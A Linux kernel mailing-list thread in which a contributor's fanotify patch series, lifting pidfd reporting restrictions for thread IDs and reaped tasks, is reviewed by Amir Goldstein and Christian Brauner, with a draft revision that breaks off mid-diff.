[PATCH v4 0/2] fanotify: lift pidfd reporting restrictions

[PATCH v4 0/2] fanotify: lift pidfd reporting restrictions

[AnonymeMeow]

The pidfd API now supports pidfds for tasks that are not thread group leaders,
but fanotify has not caught up yet. This patch set lifts that restriction and
allows fanotify to report pidfds referring to the event-generating thread.

Additionally, this patch set allows fanotify to hand out pidfds for reaped
tasks by registering the event pid with pidfs when pidfd reporting is
requested and dropping the pid_has_task() check before the pidfd_prepare()
call, as suggested by Christian.

Link: https://lore.kernel.org/lkml/20260528-schmuckvoll-heilen-garen-be77b4208671@brauner/
Link: https://lore.kernel.org/lkml/20260602-patzt-sturz-segen-f1f305d61b75@brauner/

Changes since v3:
 - Make fanotify_alloc_event() fail if pidfs_register_pid() fails.

v3: https://lore.kernel.org/lkml/20260530013732.50811-1-anonymemeow@gmail.com/

AnonymeMeow (2):
  fanotify: report thread pidfds for FAN_REPORT_TID
  fanotify: allow reporting pidfds for reaped tasks

 fs/notify/fanotify/fanotify.c      | 16 +++++++++------
 fs/notify/fanotify/fanotify_user.c | 33 +++++++-----------------------
 2 files changed, 17 insertions(+), 32 deletions(-)

-- 
2.54.0

[PATCH v4 1/2] fanotify: report thread pidfds for FAN_REPORT_TID

[AnonymeMeow]

The FAN_REPORT_PIDFD and FAN_REPORT_TID flags used to be mutually
exclusive because by the time the pidfd support was introduced to
fanotify, pidfds could only be created for thread group leaders. Now
that the pidfd API supports thread-specific pidfds via PIDFD_THREAD,
this restriction can be lifted.

Signed-off-by: AnonymeMeow <anonymemeow@gmail.com>
---
 fs/notify/fanotify/fanotify_user.c | 27 ++++++++-------------------
 1 file changed, 8 insertions(+), 19 deletions(-)

diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
index ae904451dfc0..ebdd48942029 100644
--- a/fs/notify/fanotify/fanotify_user.c
+++ b/fs/notify/fanotify/fanotify_user.c
@@ -19,6 +19,7 @@
 #include <linux/memcontrol.h>
 #include <linux/statfs.h>
 #include <linux/exportfs.h>
+#include <linux/pidfd.h>
 
 #include <asm/ioctls.h>
 
@@ -903,25 +904,21 @@ static ssize_t copy_event_to_user(struct fsnotify_group *group,
 		metadata.fd = fd >= 0 ? fd : FAN_NOFD;
 
 	if (pidfd_mode) {
-		/*
-		 * Complain if the FAN_REPORT_PIDFD and FAN_REPORT_TID mutual
-		 * exclusion is ever lifted. At the time of incoporating pidfd
-		 * support within fanotify, the pidfd API only supported the
-		 * creation of pidfds for thread-group leaders.
-		 */
-		WARN_ON_ONCE(FAN_GROUP_FLAG(group, FAN_REPORT_TID));
+		unsigned int tid_mode = FAN_GROUP_FLAG(group, FAN_REPORT_TID);
+		enum pid_type pidtype = tid_mode ? PIDTYPE_PID : PIDTYPE_TGID;
+		unsigned int pidfd_flags = tid_mode ? PIDFD_THREAD : 0;
 
 		/*
-		 * The PIDTYPE_TGID check for an event->pid is performed
+		 * The pid_has_task() check for an event->pid is performed
 		 * preemptively in an attempt to catch out cases where the event
-		 * listener reads events after the event generating process has
+		 * listener reads events after the event generating task has
 		 * already terminated.  Depending on flag FAN_REPORT_FD_ERROR,
 		 * report either -ESRCH or FAN_NOPIDFD to the event listener in
 		 * those cases with all other pidfd creation errors reported as
 		 * the error code itself or as FAN_EPIDFD.
 		 */
-		if (metadata.pid && pid_has_task(event->pid, PIDTYPE_TGID))
-			pidfd = pidfd_prepare(event->pid, 0, &pidfd_file);
+		if (metadata.pid && pid_has_task(event->pid, pidtype))
+			pidfd = pidfd_prepare(event->pid, pidfd_flags, &pidfd_file);
 
 		if (!FAN_GROUP_FLAG(group, FAN_REPORT_FD_ERROR) && pidfd < 0)
 			pidfd = pidfd == -ESRCH ? FAN_NOPIDFD : FAN_EPIDFD;
@@ -1628,14 +1625,6 @@ SYSCALL_DEFINE2(fanotify_init, unsigned int, flags, unsigned int, event_f_flags)
 #endif
 		return -EINVAL;
 
-	/*
-	 * A pidfd can only be returned for a thread-group leader; thus
-	 * FAN_REPORT_PIDFD and FAN_REPORT_TID need to remain mutually
-	 * exclusive.
-	 */
-	if ((flags & FAN_REPORT_PIDFD) && (flags & FAN_REPORT_TID))
-		return -EINVAL;
-
 	/* Don't allow mixing mnt events with inode events for now */
 	if (flags & FAN_REPORT_MNT) {
 		if (class != FAN_CLASS_NOTIF)
-- 
2.54.0

[PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[AnonymeMeow]

Fanotify used to refuse to report pidfds for reaped tasks by applying a
pid_has_task() check before calling pidfd_prepare(). This prevented
userspace from obtaining information about the task.

Register the event pid with pidfs when creating the fanotify event if
pidfd reporting was requested, so pidfd_prepare() can later create a
pidfd for the reaped task.

Signed-off-by: AnonymeMeow <anonymemeow@gmail.com>
---

To avoid having to destroy the allocated event on failure paths after
pidfs_register_pid(), I moved the pid lookup before allocating the
fanotify event. And I keep the pid as a non-refcounted pointer until
the event is ready to take ownership of it. This keeps all failure
paths from having to call put_pid(). Not sure whether this is the
preferred pattern here.

---
 fs/notify/fanotify/fanotify.c      | 16 ++++++++++------
 fs/notify/fanotify/fanotify_user.c | 18 +++++-------------
 2 files changed, 15 insertions(+), 19 deletions(-)

diff --git a/fs/notify/fanotify/fanotify.c b/fs/notify/fanotify/fanotify.c
index 38290b9c07f7..f4e28e7d3d8a 100644
--- a/fs/notify/fanotify/fanotify.c
+++ b/fs/notify/fanotify/fanotify.c
@@ -14,6 +14,7 @@
 #include <linux/sched/mm.h>
 #include <linux/statfs.h>
 #include <linux/stringhash.h>
+#include <linux/pidfs.h>
 
 #include "fanotify.h"
 
@@ -828,6 +829,14 @@ static struct fanotify_event *fanotify_alloc_event(
 		}
 	}
 
+	if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
+		pid = task_pid(current);
+	else
+		pid = task_tgid(current);
+
+	if (FAN_GROUP_FLAG(group, FAN_REPORT_PIDFD) && pidfs_register_pid(pid))
+		return NULL;
+
 	/*
 	 * For queues with unlimited length lost events are not expected and
 	 * can possibly have security implications. Avoid losing events when
@@ -863,15 +872,10 @@ static struct fanotify_event *fanotify_alloc_event(
 	if (!event)
 		goto out;
 
-	if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
-		pid = get_pid(task_pid(current));
-	else
-		pid = get_pid(task_tgid(current));
-
 	/* Mix event info, FAN_ONDIR flag and pid into event merge key */
 	hash ^= hash_long((unsigned long)pid | ondir, FANOTIFY_EVENT_HASH_BITS);
 	fanotify_init_event(event, hash, mask);
-	event->pid = pid;
+	event->pid = get_pid(pid);
 
 out:
 	set_active_memcg(old_memcg);
diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
index ebdd48942029..b604e3da58ad 100644
--- a/fs/notify/fanotify/fanotify_user.c
+++ b/fs/notify/fanotify/fanotify_user.c
@@ -904,20 +904,12 @@ static ssize_t copy_event_to_user(struct fsnotify_group *group,
 		metadata.fd = fd >= 0 ? fd : FAN_NOFD;
 
 	if (pidfd_mode) {
-		unsigned int tid_mode = FAN_GROUP_FLAG(group, FAN_REPORT_TID);
-		enum pid_type pidtype = tid_mode ? PIDTYPE_PID : PIDTYPE_TGID;
-		unsigned int pidfd_flags = tid_mode ? PIDFD_THREAD : 0;
+		unsigned int pidfd_flags = PIDFD_STALE;
 
-		/*
-		 * The pid_has_task() check for an event->pid is performed
-		 * preemptively in an attempt to catch out cases where the event
-		 * listener reads events after the event generating task has
-		 * already terminated.  Depending on flag FAN_REPORT_FD_ERROR,
-		 * report either -ESRCH or FAN_NOPIDFD to the event listener in
-		 * those cases with all other pidfd creation errors reported as
-		 * the error code itself or as FAN_EPIDFD.
-		 */
-		if (metadata.pid && pid_has_task(event->pid, pidtype))
+		if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
+			pidfd_flags |= PIDFD_THREAD;
+
+		if (metadata.pid)
 			pidfd = pidfd_prepare(event->pid, pidfd_flags, &pidfd_file);
 
 		if (!FAN_GROUP_FLAG(group, FAN_REPORT_FD_ERROR) && pidfd < 0)
-- 
2.54.0

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[AnonymeMeow]

Sashiko said that pidfs_register_pid() can fail under memory pressure,
since it allocates memory using GFP_KERNEL without a way to pass in
__GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
the event even when the group has an unlimited queue length.

Should we make pidfs registration best-effort instead and still return
the allocated event if pidfs_register_pid() fails? But IMO this will
make the API semantically ambiguous. If the kernel guarantees that the
event pid is registered with pidfs when pidfd reporting is requested,
then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
invisible within the reader's pid namespace. But if we allow best-effort
registration, the event may still carry a pinned struct pid, but pidfs
registration may have failed due to memory pressure. If userspace reads
the event after the task has been reaped, it still gets a FAN_NOPIDFD
or -ESRCH due to failed pidfs registration caused by memory pressure,
IMO this should be reported as a -ENOMEM instead of -ESRCH. But
currently it seems we don't have a good way to register the pid with
__GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
approach to handle this situation?

Re: [PATCH v4 1/2] fanotify: report thread pidfds for FAN_REPORT_TID

[Amir Goldstein]

On Wed, Jun 3, 2026 at 2:15 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
>
> The FAN_REPORT_PIDFD and FAN_REPORT_TID flags used to be mutually
> exclusive because by the time the pidfd support was introduced to
> fanotify, pidfds could only be created for thread group leaders. Now
> that the pidfd API supports thread-specific pidfds via PIDFD_THREAD,
> this restriction can be lifted.
>
> Signed-off-by: AnonymeMeow <anonymemeow@gmail.com>

Since I reviewed v3 and provided
Reviewed-by: Amir Goldstein <amir73il@gmail.com>

and nothing has changed (right?)
it is a good practice to add my RVB so I know I don't need to review it again...

To clarify, you do not need to post a new revision just for adding RVBs
but if you do send a new version, please collect them
and remove them only if patch has non minor changes which
would require a re-review.

Thanks,
Amir.

> ---
>  fs/notify/fanotify/fanotify_user.c | 27 ++++++++-------------------
>  1 file changed, 8 insertions(+), 19 deletions(-)
>
> diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
> index ae904451dfc0..ebdd48942029 100644
> --- a/fs/notify/fanotify/fanotify_user.c
> +++ b/fs/notify/fanotify/fanotify_user.c
> @@ -19,6 +19,7 @@
>  #include <linux/memcontrol.h>
>  #include <linux/statfs.h>
>  #include <linux/exportfs.h>
> +#include <linux/pidfd.h>
>
>  #include <asm/ioctls.h>
>
> @@ -903,25 +904,21 @@ static ssize_t copy_event_to_user(struct fsnotify_group *group,
>                 metadata.fd = fd >= 0 ? fd : FAN_NOFD;
>
>         if (pidfd_mode) {
> -               /*
> -                * Complain if the FAN_REPORT_PIDFD and FAN_REPORT_TID mutual
> -                * exclusion is ever lifted. At the time of incoporating pidfd
> -                * support within fanotify, the pidfd API only supported the
> -                * creation of pidfds for thread-group leaders.
> -                */
> -               WARN_ON_ONCE(FAN_GROUP_FLAG(group, FAN_REPORT_TID));
> +               unsigned int tid_mode = FAN_GROUP_FLAG(group, FAN_REPORT_TID);
> +               enum pid_type pidtype = tid_mode ? PIDTYPE_PID : PIDTYPE_TGID;
> +               unsigned int pidfd_flags = tid_mode ? PIDFD_THREAD : 0;
>
>                 /*
> -                * The PIDTYPE_TGID check for an event->pid is performed
> +                * The pid_has_task() check for an event->pid is performed
>                  * preemptively in an attempt to catch out cases where the event
> -                * listener reads events after the event generating process has
> +                * listener reads events after the event generating task has
>                  * already terminated.  Depending on flag FAN_REPORT_FD_ERROR,
>                  * report either -ESRCH or FAN_NOPIDFD to the event listener in
>                  * those cases with all other pidfd creation errors reported as
>                  * the error code itself or as FAN_EPIDFD.
>                  */
> -               if (metadata.pid && pid_has_task(event->pid, PIDTYPE_TGID))
> -                       pidfd = pidfd_prepare(event->pid, 0, &pidfd_file);
> +               if (metadata.pid && pid_has_task(event->pid, pidtype))
> +                       pidfd = pidfd_prepare(event->pid, pidfd_flags, &pidfd_file);
>
>                 if (!FAN_GROUP_FLAG(group, FAN_REPORT_FD_ERROR) && pidfd < 0)
>                         pidfd = pidfd == -ESRCH ? FAN_NOPIDFD : FAN_EPIDFD;
> @@ -1628,14 +1625,6 @@ SYSCALL_DEFINE2(fanotify_init, unsigned int, flags, unsigned int, event_f_flags)
>  #endif
>                 return -EINVAL;
>
> -       /*
> -        * A pidfd can only be returned for a thread-group leader; thus
> -        * FAN_REPORT_PIDFD and FAN_REPORT_TID need to remain mutually
> -        * exclusive.
> -        */
> -       if ((flags & FAN_REPORT_PIDFD) && (flags & FAN_REPORT_TID))
> -               return -EINVAL;
> -
>         /* Don't allow mixing mnt events with inode events for now */
>         if (flags & FAN_REPORT_MNT) {
>                 if (class != FAN_CLASS_NOTIF)
> --
> 2.54.0
>

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Amir Goldstein]

On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
>
> Sashiko said that pidfs_register_pid() can fail under memory pressure,
> since it allocates memory using GFP_KERNEL without a way to pass in
> __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> the event even when the group has an unlimited queue length.
>
> Should we make pidfs registration best-effort instead and still return
> the allocated event if pidfs_register_pid() fails? But IMO this will
> make the API semantically ambiguous. If the kernel guarantees that the
> event pid is registered with pidfs when pidfd reporting is requested,
> then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> invisible within the reader's pid namespace. But if we allow best-effort
> registration, the event may still carry a pinned struct pid, but pidfs
> registration may have failed due to memory pressure. If userspace reads
> the event after the task has been reaped, it still gets a FAN_NOPIDFD
> or -ESRCH due to failed pidfs registration caused by memory pressure,
> IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> currently it seems we don't have a good way to register the pid with
> __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> approach to handle this situation?

Thanks for noticing the oddity and explaining the options.

We could fail the event in case on ENOMEM because the system
is likely is a bad shape anyway and other events are likely to fail
allocation themselves, so I am not objecting to your patch as is,

but I am slightly leaning towards the semantically ambiguous API.

I don't think that we are going to change the man page to say that
FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
add a NOTE about increased likelihood of getting a pidfd since kernel XXX
and mention the known cases of pid namespace and ENOMEM.

Thanks,
Amir.

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Christian Brauner]

On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> >
> > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > since it allocates memory using GFP_KERNEL without a way to pass in
> > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > the event even when the group has an unlimited queue length.
> >
> > Should we make pidfs registration best-effort instead and still return
> > the allocated event if pidfs_register_pid() fails? But IMO this will
> > make the API semantically ambiguous. If the kernel guarantees that the
> > event pid is registered with pidfs when pidfd reporting is requested,
> > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > invisible within the reader's pid namespace. But if we allow best-effort
> > registration, the event may still carry a pinned struct pid, but pidfs
> > registration may have failed due to memory pressure. If userspace reads
> > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > currently it seems we don't have a good way to register the pid with
> > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > approach to handle this situation?
> 
> Thanks for noticing the oddity and explaining the options.
> 
> We could fail the event in case on ENOMEM because the system
> is likely is a bad shape anyway and other events are likely to fail
> allocation themselves, so I am not objecting to your patch as is,
> 
> but I am slightly leaning towards the semantically ambiguous API.

As usual, I think a semantically ambiguous api should be avoided.

> I don't think that we are going to change the man page to say that
> FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> and mention the known cases of pid namespace and ENOMEM.

The pid namespace shouldn't matter.

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Amir Goldstein]

On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
>
> On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > >
> > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > the event even when the group has an unlimited queue length.
> > >
> > > Should we make pidfs registration best-effort instead and still return
> > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > make the API semantically ambiguous. If the kernel guarantees that the
> > > event pid is registered with pidfs when pidfd reporting is requested,
> > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > invisible within the reader's pid namespace. But if we allow best-effort
> > > registration, the event may still carry a pinned struct pid, but pidfs
> > > registration may have failed due to memory pressure. If userspace reads
> > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > currently it seems we don't have a good way to register the pid with
> > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > approach to handle this situation?
> >
> > Thanks for noticing the oddity and explaining the options.
> >
> > We could fail the event in case on ENOMEM because the system
> > is likely is a bad shape anyway and other events are likely to fail
> > allocation themselves, so I am not objecting to your patch as is,
> >
> > but I am slightly leaning towards the semantically ambiguous API.
>
> As usual, I think a semantically ambiguous api should be avoided.
>
> > I don't think that we are going to change the man page to say that
> > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > and mention the known cases of pid namespace and ENOMEM.
>
> The pid namespace shouldn't matter.

DO you mean that the event reader inside a pidns always gets a pidfd but
it will not be able to query the pid of the process outside the pidns
or do you mean something else?

Thanks,
Amir.

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Christian Brauner]

On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> >
> > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > >
> > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > the event even when the group has an unlimited queue length.
> > > >
> > > > Should we make pidfs registration best-effort instead and still return
> > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > make the API semantically ambiguous. If the kernel guarantees that the
> > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > registration may have failed due to memory pressure. If userspace reads
> > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > currently it seems we don't have a good way to register the pid with
> > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > approach to handle this situation?
> > >
> > > Thanks for noticing the oddity and explaining the options.
> > >
> > > We could fail the event in case on ENOMEM because the system
> > > is likely is a bad shape anyway and other events are likely to fail
> > > allocation themselves, so I am not objecting to your patch as is,
> > >
> > > but I am slightly leaning towards the semantically ambiguous API.
> >
> > As usual, I think a semantically ambiguous api should be avoided.
> >
> > > I don't think that we are going to change the man page to say that
> > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > and mention the known cases of pid namespace and ENOMEM.
> >
> > The pid namespace shouldn't matter.
> 
> DO you mean that the event reader inside a pidns always gets a pidfd but
> it will not be able to query the pid of the process outside the pidns
> or do you mean something else?

So they will always get a pidfd since fanotify is correctly using
pidfd_prepare() directly. But when the reader tries to resolve the pidfd
to say a pid or retrieve info via the pidfd info ioctl they would fail
to do so (well, the pid will resolve to 0 which is the global indicator
for "can't be resolved in your pidns").

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Amir Goldstein]

On Wed, Jun 3, 2026 at 1:25 PM Christian Brauner <brauner@kernel.org> wrote:
>
> On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> > On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> > >
> > > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > > >
> > > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > > the event even when the group has an unlimited queue length.
> > > > >
> > > > > Should we make pidfs registration best-effort instead and still return
> > > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > > make the API semantically ambiguous. If the kernel guarantees that the
> > > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > > registration may have failed due to memory pressure. If userspace reads
> > > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > > currently it seems we don't have a good way to register the pid with
> > > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > > approach to handle this situation?
> > > >
> > > > Thanks for noticing the oddity and explaining the options.
> > > >
> > > > We could fail the event in case on ENOMEM because the system
> > > > is likely is a bad shape anyway and other events are likely to fail
> > > > allocation themselves, so I am not objecting to your patch as is,
> > > >
> > > > but I am slightly leaning towards the semantically ambiguous API.
> > >
> > > As usual, I think a semantically ambiguous api should be avoided.
> > >
> > > > I don't think that we are going to change the man page to say that
> > > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > > and mention the known cases of pid namespace and ENOMEM.
> > >
> > > The pid namespace shouldn't matter.
> >
> > DO you mean that the event reader inside a pidns always gets a pidfd but
> > it will not be able to query the pid of the process outside the pidns
> > or do you mean something else?
>
> So they will always get a pidfd since fanotify is correctly using
> pidfd_prepare() directly. But when the reader tries to resolve the pidfd
> to say a pid or retrieve info via the pidfd info ioctl they would fail
> to do so (well, the pid will resolve to 0 which is the global indicator
> for "can't be resolved in your pidns").

It's fine by me. I am fine with failing the event in case of ENOMEM.

Thanks,
Amir.

[DRAFT][PATCH] fanotify: lift pidfd reporting restrictions

[AnonymeMeow]

The FAN_REPORT_PIDFD and FAN_REPORT_TID flags used to be mutually
exclusive because by the time the pidfd support was introduced to
fanotify, pidfds could only be created for thread group leaders. Now
that the pidfd API supports thread-specific pidfds via PIDFD_THREAD,
this restriction can be lifted.

Fanotify used to refuse to report pidfds for reaped tasks by applying a
pid_has_task() check before calling pidfd_prepare(). This prevented
userspace from obtaining information about the task.

Register the event pid with pidfs when creating the fanotify event if
pidfd reporting was requested, so pidfd_prepare() can later create a
pidfd for the reaped task.

Signed-off-by: AnonymeMeow <anonymemeow@gmail.com>
---

On 2026-06-03 12:00 +0200, Amir Goldstein wrote:
> 
> Thanks for noticing the oddity and explaining the options.
> 
> We could fail the event in case on ENOMEM because the system
> is likely is a bad shape anyway and other events are likely to fail
> allocation themselves, so I am not objecting to your patch as is,

The existing behavior of fanotify is that, for groups with unlimited
event queues, event allocation is performed with __GFP_NOFAIL and
therefore must not fail. For groups with limited queues, event allocation
uses __GFP_RETRY_MAYFAIL, which avoids entering the OOM path.

Currently, pidfs_register_pid() uses hardcoded GFP_KERNEL. For non-costly
allocations(pid attr falls into this category, am I right?), this is
almost no-fail, but it will not avoid the OOM path. That means it can
bypass fanotify's OOM-killer avoidance mitigation for limited queues
and potentially trigger the OOM killer in the monitoring memcg under
memory pressure, breaking the intended security isolation, as sashiko
mentioned. In the meanwhile, GFP_KERNEL does not guarantee no-fail in
all corner cases, so for unlimited queues, it can still cause events
to be dropped under memory pressure, this is also reported by sashiko.

Since this patch set is meant to be a functional enhancement, I think
dropping events from an unlimited queue is not acceptable and can be
a regression.

The cleanest solution I can come up with is something like this patch.
(I squashed the commits so that sashiko can apply the patch correctly)
It adds a pidfs registration helper that takes a gfp_t argument, and
fanotify registers the pid before allocating the event. With an unlimited
queue, both pid registration and event allocation are no-fail, the
existing behavior is preserved. With a limited queue, if pid registration
fails with ENOMEM, fanotify simply returns NULL and drops the event,
just like it would do if event allocation itself failed with
__GFP_RETRY_MAYFAIL.

This also avoids having to destroy an already allocated event on pid
registration failure. Since the pid reference is only taken when
assigning the event->pid field, there is no extra put_pid() path needed
either. And this guarantees that whenever event allocation succeeds,
the pid has already been registered with pidfs, so userspace can
reliably get a pidfd later. The API semantics are no longer ambiguous.

I also originally thought pidfs_register_pid() did not need to run in
the target memcg because it does not explicitly use __GFP_ACCOUNT.
However, pidfs_attr_cachep is created with SLAB_ACCOUNT, so the
registration should also happen inside the set_active_memcg() scope.
This version does that.

But I don't know whether this amount of churn is justified for a
relatively small feature enhancement. For the next revision, I am
still inclined to send the simpler best-effort registration approach,
unless reviewers think this stricter version is preferable.

In the best-effort version, fanotify would allocate the event first
and then try to register the pid with pidfs using the existing
GFP_KERNEL flag. If registration fails, the event is still queued.
This does mean that pidfd creation at read time is not guarenteed to
succeed if the task has already been reaped, and it also means the
registration allocation may enter the OOM path even though the event
allocation used __GFP_RETRY_MAYFAIL. But I think accepting that very
small corner cases may be preferable if it avoids most of the
additional code churn.

With Best Regards,
Anonymemeow

> 
> but I am slightly leaning towards the semantically ambiguous API.
> 
> I don't think that we are going to change the man page to say that
> FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> and mention the known cases of pid namespace and ENOMEM.
> 
> Thanks,
> Amir.
> 

---
 fs/notify/fanotify/fanotify.c      | 17 +++++++++------
 fs/notify/fanotify/fanotify_user.c | 33 +++++++-----------------------
 fs/pidfs.c                         | 23 +++++++++++++++++----
 include/linux/pidfs.h              |  3 +++
 4 files changed, 40 insertions(+), 36 deletions(-)

diff --git a/fs/notify/fanotify/fanotify.c b/fs/notify/fanotify/fanotify.c
index 38290b9c07f7..ece9523e775b 100644
--- a/fs/notify/fanotify/fanotify.c
+++ b/fs/notify/fanotify/fanotify.c
@@ -14,6 +14,7 @@
 #include <linux/sched/mm.h>
 #include <linux/statfs.h>
 #include <linux/stringhash.h>
+#include <linux/pidfs.h>
 
 #include "fanotify.h"
 
@@ -842,6 +843,15 @@ static struct fanotify_event *fanotify_alloc_event(
 	/* Whoever is interested in the event, pays for the allocation. */
 	old_memcg = set_active_memcg(group->memcg);
 
+	if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
+		pid = task_pid(current);
+	else
+		pid = task_tgid(current);
+
+	if (FAN_GROUP_FLAG(group, FAN_REPORT_PIDFD) &&
+	    pidfs_register_pid_gfp(pid, gfp))
+		goto out;
+
 	if (fanotify_is_perm_event(mask)) {
 		event = fanotify_alloc_perm_event(data, data_type, gfp);
 	} else if (fanotify_is_error_event(mask)) {
@@ -863,15 +873,10 @@ static struct fanotify_event *fanotify_alloc_event(
 	if (!event)
 		goto out;
 
-	if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
-		pid = get_pid(task_pid(current));
-	else
-		pid = get_pid(task_tgid(current));
-
 	/* Mix event info, FAN_ONDIR flag and pid into event merge key */
 	hash ^= hash_long((unsigned long)pid | ondir, FANOTIFY_EVENT_HASH_BITS);
 	fanotify_init_event(event, hash, mask);
-	event->pid = pid;
+	event->pid = get_pid(pid);
 
 out:
 	set_active_memcg(old_memcg);
diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
index ae904451dfc0..b604e3da58ad 100644
--- a/fs/notify/fanotify/fanotify_user.c
+++ b/fs/notify/fanotify/fanotify_user.c
@@ -19,6 +19,7 @@
 #include <linux/memcontrol.h>
 #include <linux/statfs.h>
 #include <linux/exportfs.h>
+#include <linux/pidfd.h>
 
 #include <asm/ioctls.h>
 
@@ -903,25 +904,13 @@ static ssize_t copy_event_to_user(struct fsnotify_group *group,
 		metadata.fd = fd >= 0 ? fd : FAN_NOFD;
 
 	if (pidfd_mode) {
-		/*
-		 * Complain if the FAN_REPORT_PIDFD and FAN_REPORT_TID mutual
-		 * exclusion is ever lifted. At the time of incoporating pidfd
-		 * support within fanotify, the pidfd API only supported the
-		 * creation of pidfds for thread-group leaders.
-		 */
-		WARN_ON_ONCE(FAN_GROUP_FLAG(group, FAN_REPORT_TID));
+		unsigned int pidfd_flags = PIDFD_STALE;
 
-		/*
-		 * The PIDTYPE_TGID check for an event->pid is performed
-		 * preemptively in an attempt to catch out cases where the event
-		 * listener reads events after the event generating process has
